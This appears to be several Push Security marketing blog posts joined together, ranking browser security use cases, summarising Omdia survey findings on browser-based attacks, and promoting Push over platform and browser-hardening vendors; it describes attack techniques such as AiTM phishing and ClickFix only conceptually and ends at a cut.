Ask every vendor about their research output and feature release history over the past six months — are they discovering and publishing novel attack techniques, or covering what others already documented? Are new detections shipping continuously, or in quarterly cycles? For acquired products specifically, also ask how the roadmap has changed since acquisition. 

Consider operationalization, vendor focus, and lock-in

Many solutions demo well but create significant overhead at scale. Consider whether you want another agent on endpoints, and whether you have the resources to tune granular policies without drowning in false positives. Your requirements might not carry the same weight with a platform vendor with tens of thousands of customers across multiple product lines, versus a dedicated vendor whose entire roadmap exists to solve your problem. And factor in lock-in: every capability consolidated into an existing platform vendor reduces your ability to change direction later.

Why Push is the best-of-breed browser security solution

Think of Push as EDR, but for the browser — high-fidelity telemetry and real-time control across every session, on every device, with no browser migration required. Here’s why customers choose Push as a best-of-breed solution:

Push is built for the security problems that actually cause breaches

The highest-value browser security problems — account takeover prevention, advanced phishing detection, identity posture hardening, browser extension security, shadow SaaS and OAuth governance — all require visibility inside the browser session. Push was built from the ground up for exactly that. The same foundational capability that detects AiTM phishing and ClickFix attacks also surfaces the exposure most security teams don't know they have: across Push's customer base, 1 in 4 logins use passwords rather than SSO, 2 in 5 are unprotected by MFA, and 46.76% of browser extensions carry permissions sufficient to perform account takeover — none of it visible from the endpoint, network, or email layer.

Push detects high-fidelity attacker TTPs, not low-level IoCs

Push's browser extension operates as a flight recorder inside the session, capturing every page load, credential submission, OAuth consent flow, and user action in real time. That telemetry surfaces attacker behavior — the page structure and script signatures of AiTM kits, the clipboard mechanics of ClickFix, the OAuth flow characteristics of ConsentFix — rather than infrastructure indicators that attackers rotate in minutes. This is how Push intercepts “zero-day” phishing using fresh infrastructure and domains every time, while most solutions are stuck playing known-bad whac-a-mole. 

In a 30-day POV at a ~4,500-employee financial services organization with a mature existing stack, Push detected 6 ClickFix attacks and 10 AiTM phishing attempts that were invisible to every other tool in place.

Push’s research and agentic threat hunting keeps you ahead of attacker innovation

Push named ConsentFix and InstallFix before any other vendor detected either in production. That research feeds an agentic detection pipeline built on two learning loops — an inner loop for real-time detection of known techniques, and an outer loop where autonomous agents continuously hunt across 3 million deployed browsers for emerging threats, writing new detections and deploying them to customer environments in minutes. 

Our agentic threat hunting pipeline has tripled the new detections shipped per month — and as a dedicated browser security vendor, that's where every research dollar goes. When attackers are harnessing AI to develop tooling, deploy and tear-down infrastructure, and operate campaigns at scale, this capability is essential to stay ahead of the increased volume and variation in threats that users are encountering in the browser. 

Push solves more use cases than just stopping advanced attacks

Push uses the same browser-layer visibility to surface every AI tool, agentic browser, extension, and OAuth integration in use across the organization — and enforce policy on what employees can do inside them in real time, including unsanctioned tools no other layer sees. The same technical capabilities provided by Push also harden the identity attack surface, prevent data loss, accelerate insider investigations, and let security teams write custom detections and policies for organization-specific risks. One extension, one deployment, multiple high-value use cases.

Push is built to be operationalized at scale, not just demoed

Push deploys to 100,000 users in under one hour on a normal workday — no migration overhead or performance impact. The false positive rate is negligible, meaning no alert noise and no policy tuning overhead. And because Push is independent, it integrates into open ecosystems — feeding browser-layer telemetry into your SIEM, XDR, SOAR, and identity tools alongside the rest of your stack, without adding to your platform lock-in.

Final thoughts

Three acquisitions in five months is a strong market signal, but a strong market signal about vendor interest in a category is not the same thing as a strong signal about capability. The attacker techniques and tooling behind breaches in 2026 are evolving faster than any acquired product with split engineering priorities can reasonably track. 

Security buyers who accept a bundled browser solution because it is included in an existing contract are making a procurement decision, not a security decision. The threats in the browser are serious and sophisticated enough to justify the investment in a tool built to stop them. If you agree, Push is worth a serious look.

Book a live demo to learn more.

According to Omdia's 2026 research, browser security is already a top-five priority for 88% of organizations, and the top priority for 26%. Of those that have deployed browser security solutions, the results speak for themselves: security leaders consistently report high satisfaction with the visibility and control they gain at a layer that was previously a blind spot.

But browser security is a nascent category. Getting a clear picture of which solution is right for your team, and how to get the most out of it, isn't straightforward. Current solutions on the market serve a wide range of IT and security use cases, with varying degrees of depth and differentiation across them. Not all use cases are equal in terms of their security value, and not all of them are best addressed in the browser.

This article ranks the security problems that browser security solutions can address by the value they deliver: a combination of the risk reduction on offer, and the degree to which the browser is genuinely the best (or only) layer to solve the problem.

#1 — Account takeover prevention: detecting credential attacks across all vectors

Security value: Very high | Browser fit: Uniquely suited

Account takeover (ATO) is the dominant entry point for enterprise breaches: 80% of all modern breaches involve compromised or stolen identities. The attack surface is far wider than most identity tooling can see: credential stuffing, password spraying, ghost logins (password-based fallback authentication that persists after SSO is configured), weak or reused credentials on shadow SaaS apps, and accounts where MFA was never enforced.

According to Cloudflare's 2026 Threat Report, 63% of all human logins involve credentials already compromised elsewhere, and 94% of all login attempts originate from bots. The Snowflake breach — 165+ organizations compromised, 1 billion+ records stolen — was powered almost entirely by ghost logins: accounts missing MFA that were susceptible to credential stuffing. It's particularly telling that 80% of the accounts impacted had prior breach exposure.

Every login, regardless of method or app, happens inside a browser session. That makes the browser the only layer capable of observing the complete authentication picture. Push's telemetry illustrates the gap: of the last million logins observed, 1 in 4 were password logins rather than SSO, 2 in 5 lacked MFA, and 1 in 5 used a weak, breached, or reused credential — none of which is visible to an IdP that only surfaces authentications flowing through it.

For organizations with contractors and BYOD users, the browser extension is also the only enterprise control deployable on devices that can't be MDM-enrolled — extending ATO detection to exactly the place where, per Verizon DBIR 2025, 46% of infostealer infections originate.

#2 — Detecting and stopping advanced phishing: AiTM, multi-channel delivery, and zero-day lures

Security value: Very high | Browser fit: Uniquely suited

Adversary-in-the-Middle (AiTM) phishing — where an attacker's reverse proxy intercepts credentials and session tokens in real time — has become the standard technique for bypassing MFA at scale. eSentire's 2026 Threat Report attributes 63% of account compromise incidents to PhaaS kits, with account compromise surging 389% year-over-year.

Traditional phishing controls are also no longer in the right place to intercept these attacks. The delivery channel has shifted decisively away from email: Mandiant M-Trends 2026 found email phishing dropped from 14% to 6% as an infection vector, and Push data shows roughly 1 in 3 phishing payloads intercepted were delivered outside email entirely — via search engine malvertising, social platforms, and compromised websites. Meanwhile, 89% of phishing domains are active for less than two days, making blocklist-based detection structurally too slow — attackers can spin up, tear down, and move on before blocklists can catch up.

Modern phishing plays out entirely inside the browser session. The only detection layer that can see the phishing page structure, the credential entry, and the anomalous token context is the browser itself. Browser-native detection analyses page behavior rather than matching known-bad domains, which means it fires on zero-day kits regardless of how recently the infrastructure was stood up. Controls like credential entry guardrails add an additional layer — blocking corporate passwords from being submitted to unauthorized domains independently of content and behavior-based detections.

#3 — Identity posture hardening: enforcing security across the apps your IdP doesn't manage

Security value: High | Browser fit: Uniquely suited

The first challenge is knowing what you're protecting. Every identity an employee creates — every app they sign up to, every password they set, every login that bypasses SSO — is an authentication event that happens inside a browser session. The browser is the only layer that observes all of these events regardless of whether the app is sanctioned, managed, or even known to IT. Solutions that rely on API-level integrations with known apps, network traffic inspection, or email sign-up notifications can only ever build a partial picture, because they can only see apps they already know about. The browser sees the login itself, which means it discovers the identity at the moment it's created or used — authentication method, password strength, MFA status, and all.

The average employee logs into more than 15 applications, the majority with logins outside SSO coverage. IdP policies and SSPM findings have no mechanism to intervene in authentication flows they don't control. 47% of BEC victims had not enforced MFA in their Microsoft 365 environment (S-RM Cyber Insights 2026) — and the gap is larger still once you consider shadow SaaS.

But discovery without enforcement is just an inventory problem. Being in the browser means that you're in a great position to act on what it finds at the moment of authentication. Browser-native guardrails that prompt MFA enrollment, guide users toward stronger credentials, and redirect to SSO login paths close the gap at scale, on every app, including those the IdP has never seen. They also produce the continuous, auditable evidence of MFA coverage and credential hygiene across the full application estate that regulators, insurers, and auditors increasingly require — evidence that no IdP-centric tool can provide for apps outside its scope.

#4 — Browser extension security

Security value: High | Browser fit: Uniquely suited

Browser extensions have become one of the most talked-about attack surfaces in security over the past 18 months, and understandably so — a string of high-profile supply chain compromises have collectively impacted tens of millions of users since late 2024 (Cyberhaven, DarkSpectre, Trust Wallet, among many others).

Analysis of 20,000+ extensions across Push customers found 46.76% have the permission combinations needed to perform account takeover with no user interaction, making permissions-based risk scoring effectively useless as a triage tool. The real threat model is not malicious extensions at install time — it's legitimate extensions that become malicious after an ownership transfer, developer account compromise, or silent update push. Every major extension supply chain breach of the past 18 months scored as low-risk immediately before compromise.

SWGs and network tools are structurally blind to this attack surface: a malicious extension exfiltrating session tokens generates no anomalous network signal — its traffic is indistinguishable from normal browsing. Endpoint agents have no visibility into extension behavior at the session level. Extension inventory, supply chain change monitoring — ownership transfers, permission escalations, developer contact changes — and enforcement all require browser-layer access by definition.

#5 — Shadow SaaS discovery and OAuth integration governance

Security value: High | Browser fit: Uniquely suited

Shadow SaaS discovery shares DNA with identity posture hardening (#3) — both start with the same browser-native visibility into login events that no other layer can replicate. Where identity posture focuses on hardening how employees authenticate, shadow SaaS discovery focuses on what they authenticate to: surfacing the full estate of applications in use across the organization, including those that IT has never sanctioned or even heard of.

OAuth integration governance is the component of shadow SaaS that is both the most potentially damaging and the hardest to surface through other means. The SaaS-to-SaaS OAuth pivot is now an industrialized attack pattern.

• The ShinyHunters Salesforce campaign — which compromised 1,000+ organizations and 1.5 billion records — demonstrated the full chain: the attacker didn't stop at stealing customer data but harvested OAuth tokens, AWS access keys, and Snowflake tokens from breached tenants and pivoted through connected services like Salesloft, Drift, and Gainsight to reach hundreds more organizations.

• The Context.ai → Vercel chain followed the same logic — stored OAuth tokens from a forgotten AI app trial provided the bridge into Google Workspace, internal dashboards, and API keys. These are not isolated incidents; they are the repeatable playbook for extracting maximum value from a single compromise through the trust relationships that OAuth connections encode.

Every OAuth consent grant transits the browser — the authorization prompt, the scope disclosure, the user's approval click, and the redirect that completes the grant all happen inside a browser session — which makes the browser the only layer where an unwanted grant can be intercepted before the token is issued and the persistent access path is created. Once a token exists, the damage is done: it survives password resets, MFA changes, and session revocations, and revoking it after the fact requires first knowing it was granted, which most organizations do not.

#6 — Blocking ClickFix and social engineering-based malware delivery

Security value: High | Browser fit: Strong for interception — shared with endpoint security for execution. ConsentFix is a browser-native exception that is T1-aligned.

ClickFix was the most common initial access vector reported by Microsoft in 2025, accounting for 47% of observed attacks. CrowdStrike's 2026 Global Threat Report identified fake CAPTCHA lures as the most common malware download type, increasing 563% year-over-year. The technique writes a malicious command to the victim's clipboard and social-engineers them into executing it. It is fileless (bypassing download scanning), user-executed (bypassing endpoint behavioral detections), and 4 in 5 ClickFix payloads intercepted by Push arrived via search engines — not email (bypassing email anti-phishing controls).

The browser is the earliest and most effective intervention point — detecting the clipboard injection and social engineering lure before anything reaches the endpoint in executable form. But the problem doesn't end at the browser boundary: once the command has been pasted and run, detection and remediation become endpoint problems, and a mature defense requires both layers. The broader *Fix family — FileFix, InstallFix, and similar derivatives — follows the same pattern, with the browser providing the critical early-warning layer within a defense that spans browser and endpoint.

ConsentFix, a novel technique discovered by Push researchers when we intercepted a live campaign attributed to Russian state-linked APT29, is a notable exception: it is fully browser-native with no endpoint component, using a manipulated OAuth consent flow rather than clipboard-injected malware. ConsentFix is better understood as an OAuth attack than a malware delivery technique — it signals the direction of travel as attackers seek to eliminate the endpoint detection surface entirely and operate purely within browser-native mechanisms like OAuth.

#7 — AI visibility and control: enforcing which AI tools employees can use and how

Security value: High | Browser fit: Strong for access enforcement — but AI governance is not a new security problem so much as a force multiplier on existing ones

AI adoption is outpacing security governance at nearly every organization, and 71% of organizations are concerned about data leakage via unsanctioned AI apps. But the security problems that AI creates are not, for the most part, novel — they are existing Tier 1 problems amplified by a new category of tooling. Shadow AI apps are shadow SaaS (#5). AI OAuth integrations are OAuth governance (#5). AI browser extensions are extension security (#4). The risk of employees using personal AI accounts — 46% of sensitive inputs to AI tools are sent via personal accounts — is an identity posture problem (#3).

The component parts that allow you to govern AI are individually Tier 1 capabilities, and the browser is the best single layer for gaining visibility and control over AI usage — it sees the apps, the OAuth grants, the extensions, and the account context. But a complete end-to-end solution also requires a presence on the endpoint layer (for local AI tools, IDE-integrated agents, and API-level usage that never touches the browser), and prompt-level DLP on sanctioned tools is better handled by platform-native controls than by browser-layer observation.

Enterprise AI platforms — Claude, ChatGPT Enterprise, Microsoft Copilot, Gemini for Workspace — increasingly provide native prompt logging and DLP controls on their enterprise plans, and these are richer and more reliable for sanctioned tools than browser session-layer monitoring. The right architecture is complementary: use the browser to enforce which AI tools employees can access and ensure they reach the corporate tenant rather than a personal account, then rely on platform-native controls to govern activity within that environment.

The browser is what makes platform controls effective — if employees are using personal accounts, there are no enterprise audit logs to inspect. And for the growing category of AI agents, agentic browsers, and MCP-connected tools that operate through OAuth grants rather than direct user interaction, the browser is where the consent decisions that authorize those agents are made.

#8 — Investigation acceleration and incident response: closing the missing middle

Security value: High | Browser fit: Strong — fills a structural gap complementary to endpoint, network, and identity telemetry

Endpoint logs show what processes executed. Network logs show traffic destinations. IdP logs show authentication events. None of them show what happened inside the browser session — the phishing page the user saw, the credentials they entered, the malicious OAuth consent grant, the data uploaded or pasted to an unsanctioned service. This is the missing middle of modern incident investigations, and for the 48% of intrusions involving browser-based activity, the absence of browser telemetry is a significant investigative gap.

Browser-layer telemetry fills that gap with a fundamentally different quality of signal: what users actually clicked, what pages loaded and how they behaved, what credentials were entered, what session activity followed — structured, high-fidelity data from inside the session where the attack played out. That's the difference between inferring what happened and seeing it directly, and it determines scope, drives containment decisions, and provides the direct evidential record that neither endpoint DLP nor network monitoring can supply for browser-native attacks.

Browser telemetry is a key addition to the investigative picture. Investigations are inherently multi-source — without browser data, reconstructing an incident from EDR, network, and IdP logs won't tell you the full picture (particularly when attacks are increasingly delivered outside of email, intercepting users as they browse the internet normally).

The browser provides the causal link that other sources miss: the bridge between "a user visited a URL" and "credentials were submitted to a phishing page that issued a session token now being replayed from an attacker-controlled browser." Integrated with SIEM and SOAR platforms, that signal enables automated response workflows to execute on high-confidence detections without waiting for manual triage.

#9 — Infostealer defense: detecting exposure and blocking delivery

Security value: High | Browser fit: Strong for delivery interception and stolen factor detection — complementary to endpoint security for execution

Infostealers are the upstream supply chain for a disproportionate share of the most damaging enterprise attacks — harvesting credentials, session cookies, and browser profile data en masse from infected devices, then selling the outputs on infostealer markets for use in credential stuffing, ATO, and ransomware campaigns.

The 2025 Verizon DBIR found 54% of ransomware attacks traced back to infostealer-enabled credential theft. Microsoft reports 39,000 session token attacks per day, the majority sourced from infostealer-harvested cookies. The Snowflake breach we mentioned earlier was powered entirely by infostealer-harvested credentials: stolen years earlier, never rotated, and used to authenticate directly to tenants that lacked MFA. More than 80% of compromised accounts had prior credential exposure. The Okta breach followed the same pattern, beginning with an infostealer on an engineer's personal device harvesting credentials synced to their personal Google profile on a corporate browser.

The browser is relevant at two points in the infostealer kill chain. First, delivery interception: ClickFix (covered in #6) is now the primary infostealer delivery mechanism, and the browser is the only layer that can intercept it before execution. Second, detecting stolen factors when attackers attempt to use them — and infostealers produce two categories of stolen factor that the browser can guard against.

• Stolen credentials can be identified at the point of login: browser-layer detection flags credentials that appear in known breach datasets, catching infostealer-harvested passwords being replayed in credential stuffing campaigns before the account is compromised.

• Stolen session tokens are caught through a different mechanism: sessions originating in instrumented browsers carry a marker, and when a token subsequently appears in an un-instrumented browser it is a confirmed stolen session — catching infostealer-harvested cookies being replayed regardless of how or where the token was originally harvested.

This is particularly critical for the 46% of infected devices that are unmanaged where EDR is absent and the stolen credentials and session tokens will never be detected at the endpoint. Infostealer execution remains an endpoint problem; the browser closes the delivery and replay gaps that endpoint tools miss.

#10 — Data loss prevention: a key component of effective DLP, but not the full picture

Security value: Medium-high | Browser fit: Partial — complementary to dedicated DLP

File uploads to unsanctioned services, sensitive data pasted into AI tools, and exfiltration through personal accounts are genuine and growing risks that traditional email and endpoint-centric DLP tools were not designed to catch. Browser-layer controls provide real value here — particularly for BYOD users and contractors, where endpoint DLP agents cannot be deployed and the browser is the only available data loss visibility.

The honest scope: browser-layer DLP does not cover email-based loss, endpoint-to-endpoint transfers, or cloud API exfiltration. It closes specific and important gaps within a broader DLP strategy, not a replacement for one. A further distinction for organizations evaluating browser DLP for secure third-party access: full-stack enterprise browsers can enforce deeper output controls — watermarking, obfuscation, screenshot and print restrictions — at the OS rendering level that browser extensions cannot reliably replicate. Extension-based browser DLP is strongest for upload, input, and access control use cases rather than OS-level output restriction.

Tier 3 — Lower Value: A problem best addressed outside of the browser

• Browser exploit protection (narrow RCE/sandbox sense) ranks lower because browser zero-days represent just 9% of all zero-days reported to Google, and 82% of attack detections are now malware-free (CrowdStrike 2026). This is a problem for browser vendors to solve, and it's not a big enough problem to warrant enterprises investing in additional mitigating controls.

• Domain and URL category controls offer genuine browser-layer value but are commoditized by SWG and DNS filtering tools most organizations already operate. This can be provided in the browser, sure (and it's something we do at Push) but offers limited security value in terms of making a difference against modern attacks that quickly rotate these kinds of indicators and are designed to blend in.

• Access management — ZTNA, VPN replacement, PAM, BYOD access control — is an IT infrastructure and access architecture problem, not a security operations problem, and belongs to a different buyer with a different evaluation frame. There are numerous (typically full-stack) Enterprise Browser solutions on the market that address IT use cases like this well.

• Remote browser isolation addresses browser exploit risk rather than the identity-first attacks that represent the majority of current enterprise browser risk, and introduces UX friction that limits deployment at scale. When it triggers, it introduces latency but still fails to detect and stop browser-native attacks.

How Push Security maps to the highest-value security use cases

Push is purpose-built to address all of these problems using a flexible browser extension — plug into any browser with no migration, no host agent deployment, and no IT overhead — that delivers telemetry and control from day one, and extends coverage to every enrolled browser regardless of device ownership.

Push Security is the most powerful AI-native security tool in the browser. Think EDR, but for the browser — high-fidelity telemetry and real-time control across every session, on every device, with no browser migration required. Book a live demo to learn more.

For us at Push, it externally validates what we've known to be true for some time — the browser is where work happens, where attacks land, and where defenders need to be if they want to detect and stop threats before damage is done.

We pulled out seven findings that matter most for security teams evaluating their approach.

1. The attacks driving concern are the ones happening inside the browser session

The threat picture is driving everything else in this report, so it's the right place to start. 49% of organizations suffered a successful browser-based attack in the last 12 months. Among those affected, browser-originated incidents account for roughly 37% of all security incidents — and 68% say that share has grown over the past two years.

The browser is not an emerging threat vector. It’s worth noting here that these numbers are also likely lower than the reality, since many are only identified later in the kill chain. Without browser-level telemetry they can be difficult to trace back their source — which in the vast majority of cases, even for malware-driven attacks, is the browser. 

The evidence here isn’t just statistics. The real-world breaches attributed to Scattered Lapsus$ Hunters, including the ShinyHunters-branded 2026 hacking spree, clearly underline the real-world threat.

What stands out is that every one of the top attack categories plays out inside the browser session itself — not against the browser as a piece of software, but within the sessions where users interact with applications:

• Phishing (40%)

• Data loss or leakage (38%)

• Malicious browser extensions (34%)

• Vulnerable browser extensions (33%)

• Malicious scripts (31%)

• Credential theft via browser (28%)

• Cookie theft (22%)

• AiTM attacks (17%)

Phishing, credential theft, cookie theft, and AiTM are attacks that target the user's interaction with a web page — the credential entry, the session creation, the token exchange. Malicious and vulnerable extensions are supply chain risks that operate inside the browser's own execution environment. Data loss happens through the browser when employees upload files, paste data into AI tools, or share information with unsanctioned applications. 

None of these are attacks where network-layer traffic inspection, endpoint monitoring, or email scanning provides complete coverage, because the attack surface is the browser session itself.

It's worth noting that AiTM — now the dominant phishing technique in the wild, responsible for 62% of phishing blocked by Microsoft — shows up at just 17% in Omdia's data. That likely reflects a recognition gap rather than low prevalence: most organizations lack the browser-layer visibility to distinguish an AiTM reverse-proxy attack from a conventional phishing page, which means the real AiTM figure is probably buried inside the 40% who reported phishing generally.

2. Browser security is now a board-level priority

88% of respondents rank browser security as at least a top-five security priority, with more than a quarter (26%) calling it their single top priority. For context, this is a survey that covers the full spectrum of security concerns — cloud, supply chain, AI, insider risk — and browser security has risen above most of them.

This is not aspirational interest. The correlation between priority level and investment is sharp: among those who rank browser security as their top priority, 72% have significantly increased their investment due to emerging threats. Among those who rank it in their top five, that figure is 26%. The organizations that care most are spending the most.

86% of respondents have increased their browser security investment in response to emerging threats, with 36% saying the increase was significant. When you ask what's driving that spend, the answer is the threat landscape: the attacks cataloged in the previous section are the reason budgets are moving.

3. Real budget is being allocated — and it's growing

Secure enterprise browser solutions already take up 12.6% of the average security budget — a substantial allocation for a category that didn't exist as a standalone line item a few years ago. And 85% of respondents expect to increase that spend over the next 12–24 months, with a quarter expecting significant increases.

Where the money comes from tells its own story. The most common funding model is a discrete line item within security program budgets (31%) or a dedicated secure browsing budget (30%). When organizations pull from an existing program budget, web security (26%) and endpoint security (21%) are the most common sources — while SASE/SSE accounts for just 9%, despite SASE vendors being the second most popular vendor category. That disconnect between vendor preference and budget origin suggests the SASE-bundled buying motion may be more aspirational than operational.

IT operations leadership is the top stakeholder in 82% of evaluations, with CISO and security leadership at 64% and CIOs at 42%. Day-to-day management sits primarily with IT Ops (77%) and SecOps (50%). This dual stakeholder picture — IT operations driving evaluation, security leadership providing strategic direction — shapes the competitive landscape in ways we'll come back to.

4. AI is accelerating both the threat and the use case

AI shows up in this report from two directions, mirroring how it is reshaping the security landscape itself.

On the threat side, AI-powered targeted phishing and social engineering is the top emerging concern, cited by 75% of respondents as either very concerning or concerning. Data leakage via unsanctioned AI applications comes second at 71%, followed by deepfake/AI-generated malicious content at 69% and credential harvesting via fake AI or SaaS login pages at 66%. Every one of these threat categories involves the browser — AI-enhanced phishing lands in the browser, AI data leakage happens through browser-based AI tools, and fake AI login pages are browser-based credential harvesting.

This is something we’re seeing extensively in the wild. Just about every phishing kit we encounter today is packed with signs of AI use. You can see our recent analysis of the Doko’s Panel real-time vishing + AitM kit for one example of this. AI development of kits and tools is rapidly driving down the time for attackers to adopt and scale new capabilities — the 37x increase in device code phishing in 2026 being another indicator of this (we've observed heavy AI tool use across multiple kits and campaigns, with the EvilTokens kit gaining particular notoriety for its abuse of the Railway platform's AI features).

On the adoption side, the picture is almost universal — and almost universally under-governed. 92% of organizations now allow employees to use public GenAI applications, and virtually every organization has some kind of policy position: 37% have sanctioned one public app (with everything else unsanctioned), 39% have sanctioned multiple public apps (with others unsanctioned), and 23% restrict employees to a corporate instance while the public versions are unsanctioned. 

Even the 8% who don't allow GenAI at all have taken a policy position. Essentially 100% of organizations have a GenAI policy — but for the vast majority, that policy designates a large portion of public AI tool usage as unsanctioned, which raises the immediate question of whether they have the tooling to actually enforce it.

The answer, based on the current tooling landscape, appears to be: not quite. When Omdia asked how organizations currently secure GenAI usage, 58% rely on secure web gateways — tools that see traffic metadata but cannot observe what a user actually does inside a GenAI session — while 57% use secure browsing solutions and 57% use SaaS security solutions. 

An SWG can tell you that a user visited ChatGPT, but it cannot tell you whether they pasted your company's source code into the prompt. That distinction — between knowing where data went and knowing what the user actually did — is the fundamental gap that browser-layer visibility exists to close, and it is exactly the gap that makes GenAI policies unenforceable without browser-layer tooling.

The use case data reflects this. When Omdia asked about the most important use cases for a secure browsing solution, generative AI application security came in first at 59%, followed by data loss prevention at 51% and general web security enhancement at 42%. The feature priorities tell a consistent story: AI-powered threat detection and response (52%) and advanced GenAI usage controls and monitoring (41%) were the top two capabilities organizations said would be most important in a purchase decision. 

AI is both the top threat concern and the top use case for browser security — and it is a browser problem at both ends, because every LLM interaction, every prompt containing sensitive data, and every AI agent authorization happens inside a browser session.

5. Organizations that have deployed secure enterprise browser solutions are seeing real results

One of the most useful sections in Omdia's report is the benefits data — what organizations that have deployed SEB solutions are actually getting out of them.

The top realized benefit is improved data security, cited by 58% of respondents, followed by fewer security incidents (49%), better visibility and auditing (47%), improved user experience (44%), and simplified configuration and policy management (41%). The picture that emerges is not just a security story but an operational one: organizations are seeing fewer incidents, better visibility, and simpler management alongside the security outcomes.

The 49% who cite fewer security incidents as a realized benefit is the number that matters most here, because it directly connects SEB deployment to measurable risk reduction. Organizations aren't just buying tools and hoping — they're deploying them and seeing fewer successful attacks as a result.

6. The market wants protection in existing browsers, not migration

When Omdia asked what attributes matter most in a secure enterprise browser solution, "ability to use existing browsers" ranked as the fourth most important attribute at 48% — behind only integration with other security tools (57%), controls over generative AI application usage (53%), and centralized policy enforcement (52%). 

That 48% figure, combined with 80% of respondents saying they expect to use an SEB solution as an integrated or alongside component rather than a replacement for existing tools, points to a clear market preference: organizations want browser security that works with their existing browser estate, not a migration to a new one.

This is consistent with what we hear from security leaders directly. As Josh Lemos put it: "We looked at the full-stack enterprise browser approach, but converging on a single platform was tough. Push gave me the security instrumentation and context I needed without onerous headwinds." The deployment model matters because it determines adoption velocity — and a tool that requires browser migration introduces friction that delays time to value.

Push was built around this insight from day one. As the secure enterprise browser extension for security teams, Push turns any browser — managed or unmanaged, including agentic browsers — into a telemetry source and control point the moment it's installed. It has been rolled out to 100,000 users in under an hour during normal office hours with zero downtime. That is a deployment model that matches what Omdia's respondents are asking for.

7. Dedicated vendors lead over platform plays

When Omdia asked which category of vendor organizations primarily use or expect to use for secure enterprise browsing, 36% chose a dedicated SEB vendor — the largest single category. SASE/network security vendors came second at 29%, followed by traditional VDI/desktop virtualization vendors at 19% and endpoint platform vendors at 15%.

The dedicated category leads, and the reason isn't just first-mover advantage — it's architectural. The alternative paths each come with structural constraints. SASE and SSE platforms are network-centric: they see traffic metadata and enforce URL categorization, but they can't observe the rendered page inside a browser tab — the DOM structure, the script behavior, the credential entry that distinguishes a legitimate login from an AiTM reverse-proxy kit. 

Endpoint platforms that bolt on browser visibility are still anchored to the OS layer, solving for browser exploit prevention rather than in-session behavioral detection of the attacks that actually dominate — phishing, credential theft, session hijacking, extension compromise. And when large platform vendors acquire browser security capabilities, the integration work takes years rather than months, during which detection depth sits in a transitional state. 

Dedicated browser-native vendors start from a different premise entirely: the browser isn't a supplementary signal feeding into someone else's SASE pipeline or XDR correlation engine — it is the telemetry source and the control point. The browser is the only place where you get simultaneous visibility into both the attacker's technique and the employee's action within the same session, because the phishing page, the credential submission, the token exchange, and the data exfiltration all happen inside the same tab. No network appliance, endpoint agent, or identity provider log can see all of that, because none of them are present where the interaction occurs.

For security teams evaluating SEB solutions, the architecture matters more than the vendor category label. The capabilities Omdia's respondents ranked highest — integration with existing tools, GenAI controls, centralized policy enforcement, and the ability to use existing browsers — all point toward solutions that deliver detection depth through a lightweight deployment model, without browser migration and without the integration debt of a platform acquisition.

Push Security is the most powerful AI-native security tool in the browser. Think EDR, but for the browser — high-fidelity telemetry and real-time control across every session, on every device, with no browser migration required. 

Security teams use Push to detect and stop advanced browser-based attacks like AiTM phishing, ClickFix, and session hijacking; gain visibility and control over AI tool usage across their workforce; harden identities by surfacing credential reuse, SSO gaps, and shadow IT; and support data loss and insider investigations with browser-layer telemetry that other tools can't see.

Book a live demo to learn more.

When a security team evaluates browser security solutions, they're usually asking the right question: “How do we protect our users as they work in the browser?”

But the answer they get from many vendors is shaped by a fundamentally different threat model — one that treats the browser as a piece of software to be hardened against exploitation, rather than as the arena where your users’ identities get stolen.

This distinction has enormous consequences for your security posture and the return you can expect from your investment in a new solution.

Two different problems, dressed the same

When it comes to protecting users as they work in the browser, security tools typically fall into one of two camps:

The first camp: represented by solutions like Seraphic (now CrowdStrike) — is built around the threat of attacking the browser itself. The architecture is designed to scramble the browser’s JavaScript runtime and prevent exploits from detonating and breaking out of the browser sandbox. This is browser hardening: defending the browser as software against exploitation by attackers who want to compromise the underlying device.

The second camp: and the one Push Security occupies uniquely, focuses on what happens inside the browser when a user is working normally. Phishing pages harvesting credentials. Session tokens being stolen. Malicious OAuth applications being granted access through social engineering. Adversary-in-the-middle proxies intercepting authentication flows. These attacks don't exploit the browser. They exploit the human — and now agents — using it via the browser's legitimate capabilities (think of it as LOTL, browser edition).

The question for any security team evaluating this space: which of these threat models presents the greatest risks to my organization?

How organizations are actually being breached

Let's look at the major breach campaigns of the last three years without the marketing filter and a pattern emerges immediately. Scattered Spider and its successors breached MGM Resorts, Caesars, M&S, JLR, and Salesforce customers — not through browser exploits, but through social engineering, phishing and Adversary-in-the-Middle attacks that stole session tokens and SSO credentials. 

You can read about Scattered Lapsus$ Hunters and ShinyHunters’ 2026 campaigns and TTPs in our dedicated blog posts.

In every case, the attack happened in the browser — using stolen identities to log into legitimate cloud services — not on the browser through exploitation of the browser engine itself.

The data from major threat intelligence sources is unambiguous:

• Identity weaknesses played a material role in almost 90% of Unit 42 incident response investigations (Palo Alto Networks Unit 42 IR Report)

• Credential abuse and phishing combined accounted for 38% of all breaches, making identity the single largest breach vector (Verizon DBIR 2025)

• Cloud-conscious intrusions — attackers using stolen identities to access cloud services — rose 37% in 2025, up 266% among state-nexus actors (CrowdStrike 2026 Global Threat Report)

• In cloud-related incidents, identity issues drove initial access in 83% of cases (Mandiant / Google Cloud Threat Horizons H1 2026)

• 82% of attack detections are now malware-free — they don't touch the endpoint and abuse legitimate access and functionality (CrowdStrike 2026 Global Threat Report)

• 49% of organizations suffered a successful browser-based attack in the last 12 months (Omdia 2026)

These aren't edge cases. This is now the primary attack playbook.

The economics of attack choice

Attackers are rational actors. They pick the cheapest, most reliable path to their objective. The economics of browser exploitation versus identity theft tell the whole story:

• Chrome sandbox RCE exploit (bug bounty value): $250,000

• IAB-provided IdP admin account: ~$3,000

• 1-year phishing kit rental (PhaaS): ~$1,000

• Bulk stolen credential list: ~$15

Browser zero-days accounted for just 9% of all zero-days reported to Google in 2025 — described by Google's own researchers as a "historic low." Chrome's sandbox architecture, site isolation, and hardware-backed security features are the result of years of sustained hardening investment. When a browser vulnerability is discovered, Google typically deploys a patch within days.

It's worth heading off the obvious counterargument: won't AI-assisted vulnerability discovery eventually make browser exploits cheaper? Perhaps — but it will simultaneously make them easier for browser vendors to find and patch, and vendors like Google and Microsoft have the engineering capacity and financial incentive to scale AI-driven remediation far faster than attackers can scale exploit development.

The bottom line: browser exploits are extraordinarily expensive to develop, increasingly difficult to execute reliably against a hardened modern browser, and patched rapidly when discovered. In sharp contrast, identity attacks are cheap to run, highly scalable, and have a low technical barrier to adoption — that’s why they’re responsible for the overwhelming majority of enterprise breaches. Attackers have voted with their resources.

What you're actually buying with each vendor

Understanding the core architectural choice each vendor has made helps decode what their solution can and cannot protect you from.

Seraphic (CrowdStrike)

